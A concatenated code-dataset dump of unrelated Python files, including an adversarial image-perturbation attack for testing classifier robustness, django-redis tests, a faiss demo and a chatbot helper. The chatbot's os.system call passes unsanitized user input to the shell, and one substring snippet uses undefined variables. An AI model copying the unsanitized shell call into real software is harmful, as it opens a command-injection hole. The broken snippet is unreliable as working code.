ccdall.write(directory+m2fsrun+'_'+ccd+'_'+chip+'_master_bias.fits',overwrite=True)\n","sub_path":"m2fs_zero_jan20.py","file_name":"m2fs_zero_jan20.py","file_ext":"py","file_size_in_byte":4977,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"437497470","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sun Dec 23 19:46:49 2018\n\n@author: Yazid Bounab\n\"\"\"\nimport re\nimport nltk\nimport nlpnet\nimport string\nimport json\nfrom nltk import RegexpParser\nfrom nltk.tree import Tree\n\nfrom nltk.corpus import stopwords\nfrom nltk.tokenize import sent_tokenize\nfrom nltk import word_tokenize, pos_tag, ne_chunk\nfrom nltk.tokenize import RegexpTokenizer\n\nfrom stanfordcorenlp import StanfordCoreNLP\n\nfrom nltk.tag import StanfordNERTagger\nfrom nltk.tokenize import word_tokenize\n#_______________________________________________________________\n\ndef Read_Text():\n with open('Alan Turing.txt') as f:\n text = f.read()\n sentences = sent_tokenize(text)\n print (len(sentences))\n #print (sentences)\n return sentences\n\n#_______________________________________________________________\n\n# Defining a grammar & Parser\nNP = \"NP: {(|)+.*}\"\nRC = \"RC: {(who|whom|which|whosethat)}\"\nRC = \"RC: {}\"\n\nVB = \"VB:{
}\"\npattern = \"\"\"NP: {
?*}\n VBD: {}\n IN: {}\n RC : { }\n ADVC : {\\w+ly}\n \n \"\"\"\n#https://towardsdatascience.com/a-practitioners-guide-to-natural-language-processing-part-i-processing-understanding-text-9f4abfd13e72 \npattern = \"\"\"NP: {
?*}\n VP: {
}\n ADJP : {}\n ADVP : {}\n PP : {}\n \"\"\"\n \nchunker = RegexpParser(NP)\n\ndef get_continuous_chunks(text, chunk_func=ne_chunk):\n chunked = chunk_func(pos_tag(word_tokenize(text)))\n continuous_chunk = []\n current_chunk = []\n\n for subtree in chunked:\n #print(subtree)\n if type(subtree) == Tree:\n current_chunk.append(\" \".join([token for token, pos in subtree.leaves()]))\n elif current_chunk:\n named_entity = \" \".join(current_chunk)\n if named_entity not in continuous_chunk:\n continuous_chunk.append(named_entity)\n current_chunk = []\n else:\n continue\n\n return continuous_chunk\n#https://academicguides.waldenu.edu/formandstyle/writing/grammarmechanics/clauses\ndef Relative_Clause(sentence):\n #words = nltk.word_tokenize(sentence)\n #tagged = nltk.pos_tag(words)\n print('\\n'.join(str(e) for e in nltk.pos_tag(nltk.word_tokenize(sentence))))\n return False\n \ndef Restrictive_Clause():\n return False\n \ndef Nonrestrictive_Clause():\n return False\n\ndef Reduced_Relative_Clauses():\n return False\n\ndef Simplified_Sentence(Sentence):\n Simple_Sent = ''\n #_____________________parentheticals________________________\n if Sentence.find('(') != -1 and Sentence.find(')') != -1:\n t = Sentence[Sentence.find('('):Sentence.find(')')+1] # maintenant t pointe vers la nouvelle chaîne 'll'\n Sentence = Sentence.replace(t,'')\n #print(Sentence.replace(t,''))\n Relative_Clause(Sentence)\n #non-restrictive\n #restrictive appositive phrases \n #participial phrases offset by commas \n\n #adjective and adverb phrases delimited by punctuation \n #particular prepositional phrases \n #lead noun phrases \n #intra-sentential attributions \n #___________________________________________________________\n return Simple_Sent\n#_______________________________________________________________\n\ndef Simplified_Sentences(Sentences):\n Simple_Sents = []\n for Sentence in Sentences:\n print (Sentence)\n #Simple_Sents.append(Simplified_Sentence(Sentence))\n return Simple_Sents\n#_______________________________________________________________\n \n#Sentences = Read_Text()\n#Simplified_Sentences(Sentences)\n\n#Sentence = 'He signed the reauthorization of the State Children’s Health Insurance Program (SCHIP).'\nSentence = 'The article that I read was important for my literature review.'\nSentence1 = 'The participants who were interviewed volunteered to be part of the study.'\n#Simplified_Sentence(Sentence1)\n\nprint(get_continuous_chunks(Sentence1, chunk_func=ne_chunk))\n","sub_path":"SentenceSimplification.py","file_name":"SentenceSimplification.py","file_ext":"py","file_size_in_byte":4132,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"525577030","text":"\"\"\"\r\nImplementation of a spatial attack.\r\n\"\"\"\r\nfrom __future__ import absolute_import\r\nfrom __future__ import division\r\nfrom __future__ import print_function\r\nfrom itertools import product, repeat\r\nimport random\r\n\r\nimport tensorflow as tf\r\nimport numpy as np\r\nimport cv2\r\n\r\nfrom pgd_attack import LinfPGDAttack\r\n\r\n# import IPython\r\n\r\ndef invert_image(x):\r\n return (255 - x)\r\n \r\nv_invert_image = np.vectorize(invert_image)\r\n\r\ndef canny_image(x):\r\n for idx, im in enumerate(x):\r\n im = im.astype(np.uint8)\r\n can = cv2.Canny(im, 65, 200)\r\n x[idx] = np.dstack((can,can,can))\r\n return x\r\n\r\ndef blur_image(x):\r\n for idx, im in enumerate(x):\r\n im = im.astype(np.uint8)\r\n can = cv2.blur(im,(5,5))\r\n x[idx] = np.dstack((can,can,can))\r\n return x\r\n\r\nclass SpatialAttack:\r\n def __init__(self, model, config):\r\n self.model = model\r\n self.grid_store = []\r\n\r\n if config.use_linf:\r\n self.linf_attack = LinfPGDAttack(model, config)\r\n else:\r\n self.linf_attack = None\r\n\r\n self.use_spatial = config.use_spatial\r\n self.attack_method = config.attack_method\r\n if config.use_spatial:\r\n self.method = config.spatial_method\r\n self.limits = config.spatial_limits\r\n\r\n if self.method == 'grid':\r\n self.granularity = config.grid_granularity\r\n elif self.method == 'random':\r\n self.random_tries = config.random_tries\r\n elif self.method == 'max':\r\n self.random_tries = config.random_tries\r\n\r\n def perturb(self, x_nat, y, sess):\r\n if not self.use_spatial:\r\n t = np.zeros([len(x_nat), 3])\r\n if self.linf_attack:\r\n x = self.linf_attack.perturb(x_nat, y, sess, trans=t)\r\n else:\r\n x = x_nat\r\n return x, t\r\n if self.method == 'grid':\r\n return self.perturb_grid(x_nat, y, sess, -1)\r\n else: # random\r\n return self.perturb_grid(x_nat, y, sess, self.random_tries)\r\n\r\n def perturb_grid(self, x_nat, y, sess, random_tries=-1):\r\n n = len(x_nat)\r\n if random_tries > 0:\r\n # subsampling this list from the grid is a bad idea, instead we\r\n # will randomize each example from the full continuous range\r\n grid = [(42, 42, 42) for _ in range(random_tries)] # dummy list\r\n else: # exhaustive grid\r\n grid = product(*list(np.linspace(-l, l, num=g)\r\n for l, g in zip(self.limits, self.granularity)))\r\n\r\n worst_x = np.copy(x_nat)\r\n worst_t = np.zeros([n, 3])\r\n max_xent = np.zeros(n)\r\n all_correct = np.ones(n).astype(bool)\r\n\r\n for tx, ty, r in grid:\r\n if random_tries > 0:\r\n if self.method == 'max':\r\n #In config, specify limits as [0 0 90] for 0 translation, \r\n #but 90 rotation (either 0 or 90 is selected, nothing in between)\r\n t = np.stack((np.random.randint(0, 1+1, n)*l for l in self.limits),\r\n axis=1)\r\n else:\r\n # Allows to set spatial limits in different ways like:\r\n # limits = [3,3,30] - original [low, high) for each element\r\n # limits = [[-3,3],[0,3],[20,30]] - within range\r\n # limits = [3,[3],[20,30]] - mix, if list_len == 1 do original\r\n temp = []\r\n for l in self.limits:\r\n if isinstance(l, list):\r\n if len(l) == 2:\r\n temp.append(np.random.uniform(l[0], l[1], n))\r\n elif len(l) == 1:\r\n temp.append(np.random.uniform(-l[0], l[0], n))\r\n else:\r\n raise ValueError\r\n else:\r\n temp.append(np.random.uniform(-l, l, n))\r\n\r\n t = np.stack(temp, axis=1)\r\n else:\r\n t = np.stack(repeat([tx, ty, r], n))\r\n\r\n if self.linf_attack:\r\n x = self.linf_attack.perturb(x_nat, y, sess, trans=t)\r\n else:\r\n if self.attack_method == 'invert':\r\n # IPython.embed()\r\n x = v_invert_image(x_nat)\r\n elif self.attack_method == 'edge':\r\n x = canny_image(x_nat)\r\n else:\r\n x = x_nat\r\n\r\n curr_dict = {self.model.x_input: x,\r\n self.model.y_input: y,\r\n self.model.is_training: False,\r\n self.model.transform: t}\r\n\r\n cur_xent, cur_correct = sess.run([self.model.y_xent,\r\n self.model.correct_prediction], \r\n feed_dict = curr_dict) # shape (bsize,)\r\n cur_xent = np.asarray(cur_xent)\r\n cur_correct = np.asarray(cur_correct)\r\n\r\n # Select indices to update: we choose the misclassified transformation \r\n # of maximum xent (or just highest xent if everything else if correct).\r\n idx = (cur_xent > max_xent) & (cur_correct == all_correct)\r\n idx = idx | (cur_correct < all_correct)\r\n max_xent = np.maximum(cur_xent, max_xent)\r\n all_correct = cur_correct & all_correct\r\n\r\n idx = np.expand_dims(idx, axis=-1) # shape (bsize, 1)\r\n worst_t = np.where(idx, t, worst_t) # shape (bsize, 3)\r\n\r\n idx = np.expand_dims(idx, axis=-1) \r\n idx = np.expand_dims(idx, axis=-1) # shape (bsize, 1, 1, 1)\r\n worst_x = np.where(idx, x, worst_x,) # shape (bsize, 32, 32, 3)\r\n\r\n\r\n return worst_x, worst_t\r\n","sub_path":"spatial_attack.py","file_name":"spatial_attack.py","file_ext":"py","file_size_in_byte":5533,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"398906187","text":"# -*- coding: utf-8 -*-\n\nfrom __future__ import absolute_import, unicode_literals, print_function\n\nimport sys\nimport time\nimport datetime\n\nfrom django.test import TestCase\nfrom django.core.cache import cache, get_cache\nimport redis_cache.cache\n\n\nfrom redis_cache.client import herd\n\nherd.CACHE_HERD_TIMEOUT = 2\n\nif sys.version_info[0] < 3:\n text_type = unicode\n bytes_type = str\nelse:\n text_type = str\n bytes_type = bytes\n long = int\n\n\nclass DjangoRedisCacheTests(TestCase):\n def setUp(self):\n self.cache = cache\n\n try:\n self.cache.clear()\n except Exception:\n pass\n\n def test_setnx(self):\n # we should ensure there is no test_key_nx in redis\n self.cache.delete(\"test_key_nx\")\n res = self.cache.get(\"test_key_nx\", None)\n self.assertEqual(res, None)\n\n res = self.cache.set(\"test_key_nx\", 1, nx=True)\n self.assertTrue(res)\n # test that second set will have\n res = self.cache.set(\"test_key_nx\", 2, nx=True)\n self.assertFalse(res)\n res = self.cache.get(\"test_key_nx\")\n self.assertEqual(res, 1)\n\n self.cache.delete(\"test_key_nx\")\n res = self.cache.get(\"test_key_nx\", None)\n self.assertEqual(res, None)\n\n def test_setnx_timeout(self):\n # test that timeout still works for nx=True\n res = self.cache.set(\"test_key_nx\", 1, timeout=2, nx=True)\n self.assertTrue(res)\n time.sleep(3)\n res = self.cache.get(\"test_key_nx\", None)\n self.assertEqual(res, None)\n\n # test that timeout will not affect key, if it was there\n self.cache.set(\"test_key_nx\", 1)\n res = self.cache.set(\"test_key_nx\", 2, timeout=2, nx=True)\n self.assertFalse(res)\n time.sleep(3)\n res = self.cache.get(\"test_key_nx\", None)\n self.assertEqual(res, 1)\n\n self.cache.delete(\"test_key_nx\")\n res = self.cache.get(\"test_key_nx\", None)\n self.assertEqual(res, None)\n\n def test_save_and_integer(self):\n self.cache.set(\"test_key\", 2)\n res = self.cache.get(\"test_key\", \"Foo\")\n\n self.assertIsInstance(res, int)\n self.assertEqual(res, 2)\n\n def test_save_string(self):\n self.cache.set(\"test_key\", \"hello\")\n res = self.cache.get(\"test_key\")\n\n self.assertIsInstance(res, text_type)\n self.assertEqual(res, \"hello\")\n\n self.cache.set(\"test_key\", \"2\")\n res = self.cache.get(\"test_key\")\n\n self.assertIsInstance(res, text_type)\n self.assertEqual(res, \"2\")\n\n def test_save_unicode(self):\n self.cache.set(\"test_key\", \"heló\")\n res = self.cache.get(\"test_key\")\n\n self.assertIsInstance(res, text_type)\n self.assertEqual(res, \"heló\")\n\n def test_save_dict(self):\n now_dt = datetime.datetime.now()\n test_dict = {'id':1, 'date': now_dt, 'name': 'Foo'}\n\n self.cache.set(\"test_key\", test_dict)\n res = self.cache.get(\"test_key\")\n\n self.assertIsInstance(res, dict)\n self.assertEqual(res['id'], 1)\n self.assertEqual(res['name'], 'Foo')\n self.assertEqual(res['date'], now_dt)\n\n def test_save_float(self):\n float_val = 1.345620002\n\n self.cache.set(\"test_key\", float_val)\n res = self.cache.get(\"test_key\")\n\n self.assertIsInstance(res, float)\n self.assertEqual(res, float_val)\n\n def test_timeout(self):\n self.cache.set(\"test_key\", 222, timeout=3)\n time.sleep(4)\n\n res = self.cache.get(\"test_key\", None)\n self.assertEqual(res, None)\n\n def test_timeout_0(self):\n self.cache.set(\"test_key\", 222, timeout=0)\n res = self.cache.get(\"test_key\", None)\n self.assertEqual(res, 222)\n\n def test_timeout_negative(self):\n self.cache.set(\"test_key\", 222, timeout=-1)\n res = self.cache.get(\"test_key\", None)\n self.assertIsNone(res)\n\n self.cache.set(\"test_key\", 222, timeout=0)\n self.cache.set(\"test_key\", 222, timeout=-1)\n res = self.cache.get(\"test_key\", None)\n self.assertIsNone(res)\n\n # nx=True should not overwrite expire of key already in db\n self.cache.set(\"test_key\", 222, timeout=0)\n self.cache.set(\"test_key\", 222, timeout=-1, nx=True)\n res = self.cache.get(\"test_key\", None)\n self.assertEqual(res, 222)\n\n def test_set_add(self):\n self.cache.set('add_key', 'Initial value')\n self.cache.add('add_key', 'New value')\n res = cache.get('add_key')\n\n self.assertEqual(res, 'Initial value')\n\n def test_get_many(self):\n self.cache.set('a', 1)\n self.cache.set('b', 2)\n self.cache.set('c', 3)\n\n res = self.cache.get_many(['a','b','c'])\n self.assertEqual(res, {'a': 1, 'b': 2, 'c': 3})\n\n def test_get_many_unicode(self):\n self.cache.set('a', '1')\n self.cache.set('b', '2')\n self.cache.set('c', '3')\n\n res = self.cache.get_many(['a','b','c'])\n self.assertEqual(res, {'a': '1', 'b': '2', 'c': '3'})\n\n def test_set_many(self):\n self.cache.set_many({'a': 1, 'b': 2, 'c': 3})\n res = self.cache.get_many(['a', 'b', 'c'])\n self.assertEqual(res, {'a': 1, 'b': 2, 'c': 3})\n\n def test_delete(self):\n self.cache.set_many({'a': 1, 'b': 2, 'c': 3})\n res = self.cache.delete('a')\n self.assertTrue(bool(res))\n\n res = self.cache.get_many(['a', 'b', 'c'])\n self.assertEqual(res, {'b': 2, 'c': 3})\n\n res = self.cache.delete('a')\n self.assertFalse(bool(res))\n\n def test_delete_many(self):\n self.cache.set_many({'a': 1, 'b': 2, 'c': 3})\n res = self.cache.delete_many(['a','b'])\n self.assertTrue(bool(res))\n\n res = self.cache.get_many(['a', 'b', 'c'])\n self.assertEqual(res, {'c': 3})\n\n res = self.cache.delete_many(['a','b'])\n self.assertFalse(bool(res))\n\n def test_incr(self):\n try:\n self.cache.set(\"num\", 1)\n\n self.cache.incr(\"num\")\n res = self.cache.get(\"num\")\n self.assertEqual(res, 2)\n\n self.cache.incr(\"num\", 10)\n res = self.cache.get(\"num\")\n self.assertEqual(res, 12)\n\n #max 64 bit signed int\n self.cache.set(\"num\", 9223372036854775807)\n\n self.cache.incr(\"num\")\n res = self.cache.get(\"num\")\n self.assertEqual(res, 9223372036854775808)\n\n self.cache.incr(\"num\", 2)\n res = self.cache.get(\"num\")\n self.assertEqual(res, 9223372036854775810)\n\n self.cache.set(\"num\", long(3))\n\n self.cache.incr(\"num\", 2)\n res = self.cache.get(\"num\")\n self.assertEqual(res, 5)\n\n except NotImplementedError as e:\n print(e)\n\n def test_get_set_bool(self):\n self.cache.set(\"bool\", True)\n res = self.cache.get(\"bool\")\n\n self.assertIsInstance(res, bool)\n self.assertEqual(res, True)\n\n self.cache.set(\"bool\", False)\n res = self.cache.get(\"bool\")\n\n self.assertIsInstance(res, bool)\n self.assertEqual(res, False)\n\n def test_decr(self):\n try:\n self.cache.set(\"num\", 20)\n\n self.cache.decr(\"num\")\n res = self.cache.get(\"num\")\n self.assertEqual(res, 19)\n\n self.cache.decr(\"num\", 20)\n res = self.cache.get(\"num\")\n self.assertEqual(res, -1)\n\n self.cache.decr(\"num\", long(2))\n res = self.cache.get(\"num\")\n self.assertEqual(res, -3)\n\n self.cache.set(\"num\", long(20))\n\n self.cache.decr(\"num\")\n res = self.cache.get(\"num\")\n self.assertEqual(res, 19)\n\n #max 64 bit signed int + 1\n self.cache.set(\"num\", 9223372036854775808)\n\n self.cache.decr(\"num\")\n res = self.cache.get(\"num\")\n self.assertEqual(res, 9223372036854775807)\n\n self.cache.decr(\"num\", 2)\n res = self.cache.get(\"num\")\n self.assertEqual(res, 9223372036854775805)\n except NotImplementedError as e:\n print(e)\n\n def test_version(self):\n self.cache.set(\"keytest\", 2, version=2)\n res = self.cache.get(\"keytest\")\n self.assertEqual(res, None)\n\n res = self.cache.get(\"keytest\", version=2)\n self.assertEqual(res, 2)\n\n def test_incr_version(self):\n try:\n self.cache.set(\"keytest\", 2)\n self.cache.incr_version(\"keytest\")\n\n res = self.cache.get(\"keytest\")\n self.assertEqual(res, None)\n\n res = self.cache.get(\"keytest\", version=2)\n self.assertEqual(res, 2)\n except NotImplementedError as e:\n print(e)\n\n def test_delete_pattern(self):\n for key in ['foo-aa','foo-ab', 'foo-bb','foo-bc']:\n self.cache.set(key, \"foo\")\n\n res = self.cache.delete_pattern('*foo-a*')\n self.assertTrue(bool(res))\n\n keys = self.cache.keys(\"foo*\")\n self.assertEqual(set(keys), set(['foo-bb','foo-bc']))\n\n res = self.cache.delete_pattern('*foo-a*')\n self.assertFalse(bool(res))\n\n def test_close(self):\n cache = get_cache('default')\n cache.set(\"f\", \"1\")\n cache.close()\n\n def test_reuse_connection_pool(self):\n try:\n cache1 = get_cache('default')\n cache2 = get_cache('default')\n\n self.assertNotEqual(cache1, cache2)\n self.assertNotEqual(cache1.raw_client, cache2.raw_client)\n self.assertEqual(cache1.raw_client.connection_pool,\n cache2.raw_client.connection_pool)\n except NotImplementedError:\n pass\n\n def test_master_slave_switching(self):\n try:\n cache = get_cache('sample')\n client = cache.client\n client._server = [\"foo\", \"bar\",]\n client._clients = [\"Foo\", \"Bar\"]\n\n self.assertEqual(client.get_client(write=True), \"Foo\")\n self.assertEqual(client.get_client(write=False), \"Bar\")\n except NotImplementedError:\n pass\n\n\nclass DjangoOmitExceptionsTests(TestCase):\n def setUp(self):\n self._orig_setting = redis_cache.cache.DJANGO_REDIS_IGNORE_EXCEPTIONS\n redis_cache.cache.DJANGO_REDIS_IGNORE_EXCEPTIONS = True\n self.cache = get_cache('doesnotexist')\n\n def tearDown(self):\n redis_cache.cache.DJANGO_REDIS_IGNORE_EXCEPTIONS = self._orig_setting\n\n def test_get(self):\n self.assertIsNone(self.cache.get('key'))\n self.assertEqual(self.cache.get('key', 'default'), 'default')\n self.assertEqual(self.cache.get('key', default='default'), 'default')\n\n\nfrom django.contrib.sessions.backends.cache import SessionStore as CacheSession\nfrom django.contrib.sessions.tests import SessionTestsMixin\n\n\nclass SessionTests(SessionTestsMixin, TestCase):\n backend = CacheSession\n\n def test_actual_expiry(self):\n pass\n","sub_path":"tests/redis_backend_testapp/tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":10977,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"550477460","text":"result = ''\ncount = ''\n\nfor i in range(len(s)):\n\tcount += s[i]\n\tif len(tmp) > len(res):\n\t\tresult = count\n\tif i > len(s)-2:\n\t\tbreak\n\tif s[i] > s[i+1]:\n\t\tcount = ''\nprint (\"The longest substing in alphabetical order is: {}\".format(result))\n\n","sub_path":"longeestSubString.py","file_name":"longeestSubString.py","file_ext":"py","file_size_in_byte":239,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"613280805","text":"import collections, re\nimport geonames\n\nclass Certificate(object): \n\n\tdef __init__(self, source):\n\t\tself.source = source\n\n\tdef getSource(self):\n\t\treturn self.source\n\n\tdef getName(self):\n\t\tif(hasattr(self, 'name')):\n\t\t\treturn self.name\n\t\telse:\n\t\t\treturn None\n\n\tdef setName(self, name):\n\t\tself.name = name\n\n\tdef getYear(self):\n\t\tif(hasattr(self, 'year')):\n\t\t\treturn self.year\n\t\telse:\n\t\t\treturn None\n\n\tdef setYear(self, year):\n\t\tself.year = year\n\n\tdef getLocation(self):\n\t\tif(hasattr(self, 'location')):\n\t\t\treturn self.location\n\t\telse:\n\t\t\treturn None\n\n\tdef setLocation(self, location):\n\t\tself.location = location\n\n\tdef getType(self):\n\t\tif(hasattr(self, 'type')):\n\t\t\treturn self.type\n\t\telse:\n\t\t\treturn None\n\n\tdef setType(self, t):\n\t\tself.type = t\n\n\tdef getCertificates(value):\n\t\tcertificates = []\n\t\tfor part in value.split(','):\n\t\t\tcert = Certificate(part)\n\n\t\t\tif(';' in part):\n\t\t\t\tpart = part[:part.find(';')]\n\n\t\t\tmatch = re.match(r'.*(\\d{4}([/]\\d{2})*).*', part)\n\n\t\t\tif match:\n\t\t\t\tcert.setYear(match.group(1))\n\t\t\t\tpart = part.replace(match.group(1), '')\n\n\t\t\tpart = part.replace('.', '').strip()\n\n\t\t\tif(' ' in part):\n\t\t\t\ttemp = part.split(' ')\n\t\t\t\ttemp = temp[len(temp) - 1]\n\t\t\t\tif(len(temp) > 3):\n\t\t\t\t\tloc = geonames.Location.getLocation(temp)\n\t\t\t\t\tif(loc is not None):\n\t\t\t\t\t\t#print(part + ' => ' + loc.getName() + '\\ttmp:' + temp )\n\t\t\t\t\t\tcert.setLocation(loc)\n\t\t\t\n\t\t\ttemp = part.lower()\n\t\t\tif 'zeugnis' in temp:\n\t\t\t\tcert.setType('Zeugnis')\n\t\t\telif 'buch' in temp:\n\t\t\t\tcert.setType('Buch')\n\t\t\telif 'schein' in temp:\n\t\t\t\tcert.setType('Schein')\n\t\t\telif 'protokoll' in temp:\n\t\t\t\tcert.setType('Protokoll')\n\t\t\telif 'genehmigung' in temp:\n\t\t\t\tcert.setType('Genehmigung')\n\t\t\telif 'zuweisung' in temp:\n\t\t\t\tcert.setType('Zuweisung')\n\t\t\telif 'diplom' in temp:\n\t\t\t\tcert.setType('Diplom')\n\t\t\telif 'quittung' in temp:\n\t\t\t\tcert.setType('Quittung')\n\n\t\t\tcert.setName(part)\n\n\t\t\tcertificates.append(cert)\n\n\t\treturn certificates\n\t\t\n","sub_path":"Abgabe/Programm/certificates.py","file_name":"certificates.py","file_ext":"py","file_size_in_byte":1911,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"465866144","text":"from core.advbase import *\nfrom slot.a import *\n\ndef module():\n return Xania\n\nclass Xania(Adv):\n a1 = ('s',0.35)\n\n conf = {}\n conf['slots.a'] = Candy_Couriers()+Me_and_My_Bestie()\n conf['acl'] = \"\"\"\n\t\t`dragon.act('c3 s s end'),s\n\t\t`s3, not self.s3_buff and x=5\n\t\t`s1\n\t\t`s4,cancel\n\t\t`s2,x=5\n \"\"\"\n coab = ['Blade', 'Marth', 'Joe']\n share = ['Kleimann']\n conf['afflict_res.burn'] = 0\n\n def s1_proc(self, e):\n self.afflics.burn(e.name,100,0.803)\n\n def s2_proc(self, e):\n self.afflics.burn(e.name,100,0.803)\n\nif __name__ == '__main__':\n from core.simulate import test_with_argv\n test_with_argv(None, *sys.argv)\n","sub_path":"adv/xania.py","file_name":"xania.py","file_ext":"py","file_size_in_byte":659,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"434375552","text":"import discord\nfrom discord.ext import commands\nimport subprocess\nfrom pathlib import Path\n\n\nclass Deploy(commands.Cog):\n def __init__(self, bot):\n self.bot = bot\n\n @commands.command()\n @commands.has_role('admin')\n async def deploy(self, ctx):\n root = Path('bash/bot/')\n name = Path('deploy')\n await ctx.message.delete()\n subprocess.call([str(root / name)])\n\n @commands.command()\n @commands.has_any_role('admin', 'moderator')\n async def arma(self, ctx):\n root = Path('bash/arma/')\n msg = ctx.message.content\n if 'hc' in msg:\n root = Path('bash/arma/hc/')\n if ' start' in msg:\n name = Path('start')\n elif ' stop' in msg:\n name = Path('stop')\n elif ' restart' in msg:\n name = Path('restart')\n subprocess.call([str(root / name)])\n await ctx.message.add_reaction('👍')\n\n @commands.command()\n @commands.has_any_role('admin', 'moderator')\n async def ww2(self, ctx):\n root = Path('bash/ww2/')\n msg = ctx.message.content\n if 'hc' in msg:\n root = Path('bash/arma/hc/')\n if ' start' in msg:\n name = Path('start')\n elif ' stop' in msg:\n name = Path('stop')\n elif ' restart' in msg:\n name = Path('restart')\n subprocess.call([str(root / name)])\n await ctx.message.add_reaction('👍')\n\ndef setup(bot):\n bot.add_cog(Deploy(bot))\n","sub_path":"cogs/scripts.py","file_name":"scripts.py","file_ext":"py","file_size_in_byte":1485,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"38398100","text":"\"\"\"\nhttps://github.com/facebookresearch/faiss/wiki/Getting-started\n\nTest:\nnb = 10000, nq = 100\nIndexFlatL2_gpu time: 1.420\nIndexFlatIP_gpu time: 0.207\n\"\"\"\nimport sys\n\nsys.path.insert(0, '/export/nfs/xs/codes/lp-deepssl')\n\nimport faiss\nimport numpy as np\nfrom utils.misc import exe_time\n\nd = 64 # dimension\nnb = 10000 # database size\ncpu_num = 10\ngpu_num = 100\nnp.random.seed(1234) # make reproducible\nxb = np.random.random((nb, d)).astype('float32')\nxb[:, 0] += np.arange(nb) / 1000. # note 因为数据是随机生成的,第1列加入 index/1000,使得不同? 合理性检测?\n\n# l2-norm\nfaiss.normalize_L2(xb)\n\n\n@exe_time('IndexFlatL2')\ndef IndexFlatL2():\n # build the index\n index = faiss.IndexFlatL2(d) # brute-force L2 distance search\n index.add(xb)\n k = 4\n D, I = index.search(xb[:cpu_num], k) # for each row in xq, find knn in xb\n print(I)\n print(D)\n\n\n@exe_time('IndexFlatIP')\ndef IndexFlatIP():\n # build the index\n index = faiss.IndexFlatIP(d) # brute-force L2 distance search\n index.add(xb)\n k = 4\n D, I = index.search(xb[:cpu_num], k) # for each row in xq, find knn in xb\n print(I)\n print(D)\n\n\n@exe_time('IndexFlatL2_gpu')\ndef IndexFlatL2_gpu():\n resources = faiss.StandardGpuResources() # use a single gpu\n\n index = faiss.IndexFlatL2(d) # cpu index\n index = faiss.index_cpu_to_gpu(resources, device=0, index=index) # gpu index\n index.add(xb)\n\n k = 4\n D, I = index.search(xb[:gpu_num], k)\n print(I[:5])\n print(D[:5])\n\n\n@exe_time('IndexFlatIP_gpu')\ndef IndexFlatIP_gpu(): # 100\n resources = faiss.StandardGpuResources() # use a single gpu\n\n index = faiss.IndexFlatIP(d) # cpu index\n index = faiss.index_cpu_to_gpu(resources, device=0, index=index)\n index.add(xb)\n\n k = 4\n D, I = index.search(xb[:gpu_num], k)\n print(I[:5])\n print(D[:5])\n\n\n@exe_time('ssl_IndexFlatIP_gpu')\ndef ssl_IndexFlatIP_gpu():\n # build GPU index\n resources = faiss.StandardGpuResources()\n flat_config = faiss.GpuIndexFlatConfig()\n flat_config.device = 0\n index = faiss.GpuIndexFlatIP(resources, d, flat_config) # pass dim=d\n index.add(xb)\n\n # search\n k = 4\n D, I = index.search(xb[:gpu_num], k) # return np.ndarray\n print(I[:5])\n print(D[:5])\n\n\nif __name__ == '__main__':\n # IndexFlatL2_gpu()\n # IndexFlatIP_gpu()\n ssl_IndexFlatIP_gpu()","sub_path":"utils/faiss_demo.py","file_name":"faiss_demo.py","file_ext":"py","file_size_in_byte":2371,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"257061592","text":"import os\nfrom myTool import Line, rLine\n\nwinCmds = (\n \"cd\",\n \"cd..\",\n \"cls\",\n \"tree\",\n \"find\",\n \"exit\"\n #\"shutdown\"\n)\n\n\ndef UseWindowTerminal(cmd, parameter=None):\n \"\"\"Use Window Cmd\"\"\"\n if cmd in winCmds:\n if parameter is not None:\n os.system(cmd + \" \" + parameter)\n\n else:\n os.system(cmd)\n\n else:\n Line()\n print(\" - wrong window command\")\n Line()\n\n\ndef WinHelp():\n for i, cmd in enumerate(winCmds):\n print(f\"{i + 1}. {cmd}\")\n\nbasicCmds = {\n \"line\": Line,\n \"winHelp\": WinHelp\n # \"help\" : describe Basic Commands\n}\n\n\ndef Help():\n \"\"\"describes Basic Commands\"\"\"\n descs = (\n \"\\nHELP\\n\"\n \"---------------------------------\\n\"\n \"line draws a Line\\n\"\n \"help describe commands\\n\"\n \"winHelp display a list of win\\n\"\n \" -dow Commands\\n\"\n \"---------------------------------\\n\"\n )\n print(descs)\n\n\nbasicCmds[\"help\"] = Help\n\n\ndef FindCmd(cmdName, cmdDict=basicCmds):\n if cmdName not in cmdDict:\n Line()\n print(\" - Command Not Found\")\n Line()\n # raise Err ?\n else:\n return basicCmds.get(cmdName, None)\n\n\ndef CheckForCmd(words):\n isCmd = None\n parameter = \" \".join(words[2:]) if len(words) > 2 else None\n\n if words[0] in (\"w>\", \"win>\"):\n isCmd = True\n\n wCmd = words[1]\n UseWindowTerminal(wCmd, parameter)\n\n elif words[0] == \">\":\n isCmd = True\n\n cmd = FindCmd(words[1])\n\n if cmd is not None:\n\n if len(words) == 2:\n cmd()\n\n else:\n cmd(parameter)\n\n else:\n isCmd = False\n\n return isCmd\n","sub_path":"chatbot_cmds.py","file_name":"chatbot_cmds.py","file_ext":"py","file_size_in_byte":1721,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"392962842","text":"import re\r\n\r\nprog = re.compile(\"\\((....)\\)\")\r\n\r\nopoRegionMap={}\r\nwith open(\"H:/repositories/SAMs/LSAM/application/Source/Input/region8.txt\", 'r') as f:\r\n\twith open(\"Y:/LSAM/PotentialChallenges/map/region_8_opo_map.tsv\", 'w') as fw:\r\n\t\tfw.write(\"ID\\tRegion\\n\")\r\n\t\tlines = f.readlines()\r\n\t\tdistricts = \"\".join(lines).replace(\"\\n\",\"\").split(\"District\")\r\n\t\tfor dist in districts:\r\n\t\t\tline = 